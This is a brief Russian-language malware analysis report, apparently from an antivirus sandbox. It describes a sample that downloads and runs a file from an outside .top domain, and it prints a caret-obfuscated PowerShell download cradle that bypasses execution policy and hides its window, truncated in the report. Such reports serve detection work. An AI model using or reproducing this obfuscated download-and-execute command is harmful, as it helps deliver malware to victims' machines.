Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.fopeioaas.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^O^Wer^sHEl^l.ex^e ^-e^XeC^uTIonpOLiCY^ bYp^A^ss ^-NO^p^rOFIL^E^ ^-^WIN^dOWStyle^ HId^dE^N (NeW^-^ObJEct ^S^YS^t^E^M.N^eT^.^w^eB^CL^i^e^NT^).d^OW^NlOA^dfil^e('http://www.fopei...
Сетевая активность
UDP
- DNS ASK fo###oaas.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^O^Wer^sHEl^l.ex^e ^-e^XeC^uTIonpOLiCY^ bYp^A^ss ^-NO^p^rOFIL^E^ ^-^WIN^dOWStyle^ HId^dE^N (NeW^-^ObJEct ^S^YS^t^E^M.N^eT^.^w^eB^CL^i^e^NT^).d^OW^NlOA^dfil^e('http://www.fopei...' (со скрытым окном)
